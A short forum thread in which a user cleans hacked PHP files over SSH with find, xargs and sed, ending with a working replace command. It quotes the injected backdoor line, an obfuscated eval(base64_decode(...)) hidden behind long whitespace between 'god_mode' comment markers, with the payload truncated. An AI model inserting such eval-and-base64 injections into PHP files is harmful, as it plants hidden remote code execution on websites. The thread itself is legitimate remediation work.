Need help with search and replace using SED

Hi guys, thanks for accepting me in your forum .. I am trying to clean some hacked PHP files using SSH .. I am using this command:

find . -type f -print0 | xargs -0 sed -i '/god_mod/d'
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /*god_mode_on*/eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlLOTS  OF OTHE CHARCHTERS A=")); /*god_mode_off*/ ?><?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ?><?

It works fine to remove this line:
However I want to replace the removed code with <?php .. I tried too many different things but nothing seems to be working ..

find . -type f | xargs -i sed -i 's#god_mod.*#<?php..#g' {}
1 Like

Try this thread

Thanks a lot guys .. huaihaizi3 code works but after some tweaking .. here is the final one

find . -type f | xargs -i sed -i 's#.*god_mod.*#<?php#g' {}